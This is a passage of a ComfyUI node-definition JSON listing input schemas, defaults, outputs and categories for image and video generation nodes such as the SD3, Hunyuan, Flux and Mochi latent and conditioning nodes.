"name": "AudioEqualizer3Band", "display_name": "Audio Equalizer (3-Band)", "description": "", "python_module": "comfy_extras.nodes_audio", "category": "audio", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["eq", "bass boost", "treble boost", "equalizer"], "essentials_category": null, "has_intermediate_output": false}, "TripleCLIPLoader": {"input": {"required": {"clip_name1": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "clip_name2": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "clip_name3": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}]}}, "input_order": {"required": ["clip_name1", "clip_name2", "clip_name3"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "TripleCLIPLoader", "display_name": "Load CLIP (Triple)", "description": "Recipes:\nsd3: clip-l, clip-g, t5", "python_module": "comfy_extras.nodes_sd3", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptySD3LatentImage": {"input": {"required": {"width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptySD3LatentImage", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_sd3", "category": "model/latent/stable diffusion", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeSD3": {"input": {"required": {"clip": ["CLIP", {}], "clip_l": ["STRING", {"multiline": true, "dynamicPrompts": true}], "clip_g": ["STRING", {"multiline": true, "dynamicPrompts": true}], "t5xxl": ["STRING", {"multiline": true, "dynamicPrompts": true}], "empty_padding": ["COMBO", {"advanced": true, "multiselect": false, "options": ["none", "empty_prompt"]}]}}, "input_order": {"required": ["clip", "clip_l", "clip_g", "t5xxl", "empty_padding"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeSD3", "display_name": "CLIP Text Encode (SD3)", "description": "", "python_module": "comfy_extras.nodes_sd3", "category": "model/conditioning/stable diffusion", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["sd3 prompt"], "essentials_category": null, "has_intermediate_output": false}, "ControlNetApplySD3": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "control_net": ["CONTROL_NET", {}], "vae": ["VAE", {}], "image": ["IMAGE", {}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "start_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["positive", "negative", "control_net", "vae", "image", "strength", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ControlNetApplySD3", "display_name": "Apply Controlnet with VAE", "description": "", "python_module": "comfy_extras.nodes_sd3", "category": "model/conditioning/controlnet", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SkipLayerGuidanceSD3": {"input": {"required": {"model": ["MODEL", {}], "layers": ["STRING", {"advanced": true, "default": "7, 8, 9", "multiline": false}], "scale": ["FLOAT", {"default": 3.0, "min": 0.0, "max": 10.0, "step": 0.1}], "start_percent": ["FLOAT", {"advanced": true, "default": 0.01, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"advanced": true, "default": 0.15, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["model", "layers", "scale", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SkipLayerGuidanceSD3", "display_name": null, "description": "Generic version of SkipLayerGuidance node that can be used on every DiT model.", "python_module": "comfy_extras.nodes_sd3", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GITSScheduler": {"input": {"required": {"coeff": ["FLOAT", {"advanced": true, "default": 1.2, "min": 0.8, "max": 1.5, "step": 0.05}], "steps": ["INT", {"default": 10, "min": 2, "max": 1000}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["coeff", "steps", "denoise"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "GITSScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_gits", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SetUnionControlNetType": {"input": {"required": {"control_net": ["CONTROL_NET", {}], "type": ["COMBO", {"multiselect": false, "options": ["auto", "openpose", "depth", "hed/pidi/scribble/ted", "canny/lineart/anime_lineart/mlsd", "normal", "segment", "tile", "repaint"]}]}}, "input_order": {"required": ["control_net", "type"]}, "is_input_list": false, "output": ["CONTROL_NET"], "output_is_list": [false], "output_name": ["CONTROL_NET"], "output_tooltips": [null], "output_matchtypes": null, "name": "SetUnionControlNetType", "display_name": "Set Union ControlNet Type", "description": "", "python_module": "comfy_extras.nodes_controlnet", "category": "model/conditioning/controlnet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["set controlnet type", "union controlnet type"], "essentials_category": null, "has_intermediate_output": false}, "ControlNetInpaintingAliMamaApply": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "control_net": ["CONTROL_NET", {}], "vae": ["VAE", {}], "image": ["IMAGE", {}], "mask": ["MASK", {}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "start_percent": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["positive", "negative", "control_net", "vae", "image", "mask", "strength", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ControlNetInpaintingAliMamaApply", "display_name": "Apply ControlNet Inpainting (AliMama)", "description": "", "python_module": "comfy_extras.nodes_controlnet", "category": "model/conditioning/controlnet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["masked controlnet"], "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeHunyuanDiT": {"input": {"required": {"clip": ["CLIP", {}], "bert": ["STRING", {"multiline": true, "dynamicPrompts": true}], "mt5xl": ["STRING", {"multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["clip", "bert", "mt5xl"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeHunyuanDiT", "display_name": "CLIP Text Encode (Hunyuan Image)", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextEncodeHunyuanVideo_ImageToVideo": {"input": {"required": {"clip": ["CLIP", {}], "clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "prompt": ["STRING", {"multiline": true, "dynamicPrompts": true}], "image_interleave": ["INT", {"tooltip": "How much the image influences things vs the text prompt. Higher number means more influence from the text prompt.", "advanced": true, "default": 2, "min": 1, "max": 512}]}}, "input_order": {"required": ["clip", "clip_vision_output", "prompt", "image_interleave"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeHunyuanVideo_ImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyHunyuanLatentVideo": {"input": {"required": {"width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 25, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyHunyuanLatentVideo", "display_name": "Empty HunyuanVideo 1.0 Latent", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/latent/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyHunyuanVideo15Latent": {"input": {"required": {"width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 25, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyHunyuanVideo15Latent", "display_name": "Empty HunyuanVideo 1.5 Latent", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/latent/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HunyuanVideo15ImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 33, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"start_image": ["IMAGE", {}], "clip_vision_output": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["start_image", "clip_vision_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "HunyuanVideo15ImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HunyuanVideo15SuperResolution": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "latent": ["LATENT", {}], "noise_augmentation": ["FLOAT", {"advanced": true, "default": 0.7, "min": 0.0, "max": 1.0, "step": 0.01}]}, "optional": {"vae": ["VAE", {}], "start_image": ["IMAGE", {}], "clip_vision_output": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": ["positive", "negative", "latent", "noise_augmentation"], "optional": ["vae", "start_image", "clip_vision_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "HunyuanVideo15SuperResolution", "display_name": "Hunyuan Video 1.5 Super Resolution", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HunyuanVideo15LatentUpscaleWithModel": {"input": {"required": {"model": ["LATENT_UPSCALE_MODEL", {}], "samples": ["LATENT", {}], "upscale_method": ["COMBO", {"default": "bilinear", "multiselect": false, "options": ["nearest-exact", "bilinear", "area", "bicubic", "bislerp"]}], "width": ["INT", {"default": 1280, "min": 0, "max": 16384, "step": 8}], "height": ["INT", {"default": 720, "min": 0, "max": 16384, "step": 8}], "crop": ["COMBO", {"multiselect": false, "options": ["disabled", "center"]}]}}, "input_order": {"required": ["model", "samples", "upscale_method", "width", "height", "crop"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "HunyuanVideo15LatentUpscaleWithModel", "display_name": "Hunyuan Video 15 Latent Upscale With Model", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/latent/hunyhuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LatentUpscaleModelLoader": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["LATENT_UPSCALE_MODEL"], "output_is_list": [false], "output_name": ["LATENT_UPSCALE_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentUpscaleModelLoader", "display_name": "Load Latent Upscale Model", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HunyuanImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 53, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "guidance_type": ["COMBO", {"advanced": true, "multiselect": false, "options": ["v1 (concat)", "v2 (replace)", "custom"]}]}, "optional": {"start_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "vae", "width", "height", "length", "batch_size", "guidance_type"], "optional": ["start_image"]}, "is_input_list": false, "output": ["CONDITIONING", "LATENT"], "output_is_list": [false, false], "output_name": ["positive", "latent"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "HunyuanImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyHunyuanImageLatent": {"input": {"required": {"width": ["INT", {"default": 2048, "min": 64, "max": 16384, "step": 32}], "height": ["INT", {"default": 2048, "min": 64, "max": 16384, "step": 32}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyHunyuanImageLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/latent/hunyuan image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HunyuanRefinerLatent": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "latent": ["LATENT", {}], "noise_augmentation": ["FLOAT", {"advanced": true, "default": 0.1, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["positive", "negative", "latent", "noise_augmentation"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "HunyuanRefinerLatent", "display_name": "Hunyuan Latent Refiner", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Epsilon Scaling": {"input": {"required": {"model": ["MODEL", {}], "scaling_factor": ["FLOAT", {"advanced": true, "default": 1.005, "min": 0.5, "max": 1.5, "step": 0.001, "display": "number"}]}}, "input_order": {"required": ["model", "scaling_factor"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "Epsilon Scaling", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_eps", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TemporalScoreRescaling": {"input": {"required": {"model": ["MODEL", {}], "tsr_k": ["FLOAT", {"tooltip": "Controls the rescaling strength.\nLower k produces more detailed results; higher k produces smoother results in image generation. Setting k = 1 disables rescaling.", "advanced": true, "default": 0.95, "min": 0.01, "max": 100.0, "step": 0.001, "display": "number"}], "tsr_sigma": ["FLOAT", {"tooltip": "Controls how early rescaling takes effect.\nLarger values take effect earlier.", "advanced": true, "default": 1.0, "min": 0.01, "max": 100.0, "step": 0.001, "display": "number"}]}}, "input_order": {"required": ["model", "tsr_k", "tsr_sigma"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["patched_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "TemporalScoreRescaling", "display_name": "TSR - Temporal Score Rescaling", "description": "[Post-CFG Function]\nTSR - Temporal Score Rescaling (2510.01184)\n\nRescaling the model's score or noise to steer the sampling diversity.\n", "python_module": "comfy_extras.nodes_eps", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeFlux": {"input": {"required": {"clip": ["CLIP", {}], "clip_l": ["STRING", {"multiline": true, "dynamicPrompts": true}], "t5xxl": ["STRING", {"multiline": true, "dynamicPrompts": true}], "guidance": ["FLOAT", {"default": 3.5, "min": 0.0, "max": 100.0, "step": 0.1}]}}, "input_order": {"required": ["clip", "clip_l", "t5xxl", "guidance"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeFlux", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_flux", "category": "model/conditioning/flux", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxGuidance": {"input": {"required": {"conditioning": ["CONDITIONING", {}], "guidance": ["FLOAT", {"default": 3.5, "min": 0.0, "max": 100.0, "step": 0.1}]}}, "input_order": {"required": ["conditioning", "guidance"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxGuidance", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_flux", "category": "model/conditioning/flux", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxDisableGuidance": {"input": {"required": {"conditioning": ["CONDITIONING", {}]}}, "input_order": {"required": ["conditioning"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxDisableGuidance", "display_name": null, "description": "This node completely disables the guidance embed on Flux and Flux like models", "python_module": "comfy_extras.nodes_flux", "category": "model/conditioning/flux", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxKontextImageScale": {"input": {"required": {"image": ["IMAGE", {}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxKontextImageScale", "display_name": null, "description": "This node resizes the image to one that is more optimal for flux kontext.", "python_module": "comfy_extras.nodes_flux", "category": "model/conditioning/flux", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxKontextMultiReferenceLatentMethod": {"input": {"required": {"conditioning": ["CONDITIONING", {}], "reference_latents_method": ["COMBO", {"advanced": true, "multiselect": false, "options": ["offset", "index", "uxo/uno", "index_timestep_zero"]}]}}, "input_order": {"required": ["conditioning", "reference_latents_method"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxKontextMultiReferenceLatentMethod", "display_name": "Edit Model Reference Method", "description": "", "python_module": "comfy_extras.nodes_flux", "category": "model/conditioning/flux", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyFlux2LatentImage": {"input": {"required": {"width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyFlux2LatentImage", "display_name": "Empty Flux 2 Latent", "description": "", "python_module": "comfy_extras.nodes_flux", "category": "model/latent/flux", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Flux2Scheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 4096}], "width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 1}], "height": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 1}]}}, "input_order": {"required": ["steps", "width", "height"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "Flux2Scheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_flux", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxKVCache": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to use KV Cache on."}]}}, "input_order": {"required": ["model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The patched model with KV Cache enabled."], "output_matchtypes": null, "name": "FluxKVCache", "display_name": "Flux KV Cache", "description": "Enables KV Cache optimization for reference images on Flux family models.", "python_module": "comfy_extras.nodes_flux", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LoraSave": {"input": {"required": {"filename_prefix": ["STRING", {"default": "loras/ComfyUI_extracted_lora", "multiline": false}], "rank": ["INT", {"advanced": true, "default": 8, "min": 1, "max": 4096, "step": 1}], "lora_type": ["COMBO", {"advanced": true, "multiselect": false, "options": ["standard", "full_diff"]}], "bias_diff": ["BOOLEAN", {"advanced": true, "default": true}]}, "optional": {"model_diff": ["MODEL", {"tooltip": "The ModelSubtract output to be converted to a lora."}], "text_encoder_diff": ["CLIP", {"tooltip": "The CLIPSubtract output to be converted to a lora."}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["filename_prefix", "rank", "lora_type", "bias_diff"], "optional": ["model_diff", "text_encoder_diff"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "LoraSave", "display_name": "Extract and Save Lora", "description": "", "python_module": "comfy_extras.nodes_lora_extract", "category": "experimental", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export lora"], "essentials_category": null, "has_intermediate_output": false}, "TorchCompileModel": {"input": {"required": {"model": ["MODEL", {}], "backend": ["COMBO", {"advanced": true, "multiselect": false, "options": ["inductor", "cudagraphs"]}]}}, "input_order": {"required": ["model", "backend"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "TorchCompileModel", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_torch_compile", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyMochiLatentVideo": {"input": {"required": {"width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 25, "min": 7, "max": 16384, "step": 6}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyMochiLatentVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_mochi", "category": "model/latent/mochi", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SkipLayerGuidanceDiT": {"input": {"required": {"model": ["MODEL", {}], "double_layers": ["STRING", {"advanced": true, "default": "7, 8, 9", "multiline": false}], "single_layers": ["STRING", {"advanced": true, "default": "7, 8, 9", "multiline": false}], "scale": ["FLOAT", {"default": 3.0, "min": 0.0, "max": 10.0, "step": 0.1}], "start_percent": ["FLOAT", {"advanced": true, "default": 0.01, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"advanced": true, "default": 0.15, "min": 0.0, "max": 1.0, "step": 0.001}], "rescaling_scale": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "double_layers", "single_layers", "scale", "start_percent", "end_percent", "rescaling_scale"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SkipLayerGuidanceDiT", "display_name": null, "description": "Generic version of SkipLayerGuidance node that can be used on every DiT model.", "python_module": "comfy_extras.nodes_slg", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SkipLayerGuidanceDiTSimple": {"input": {"required": {"model": ["MODEL", {}], "double_layers": ["STRING", {"advanced": true, "default": "7, 8, 9", "multiline": false}], "single_layers": ["STRING", {"advanced": true, "default": "7, 8, 9", "multiline": false}], "start_percent": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["model", "double_layers", "single_layers", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SkipLayerGuidanceDiTSimple", "display_name": null, "description": "Simple version of the SkipLayerGuidanceDiT node that only modifies the uncond pass.", "python_module": "comfy_extras.nodes_slg", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Mahiro": {"input": {"required": {"model": ["MODEL", {}]}}, "input_order": {"required": ["model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["patched_model"], "output_tooltips": [null], "output_matchtypes": null, "name": 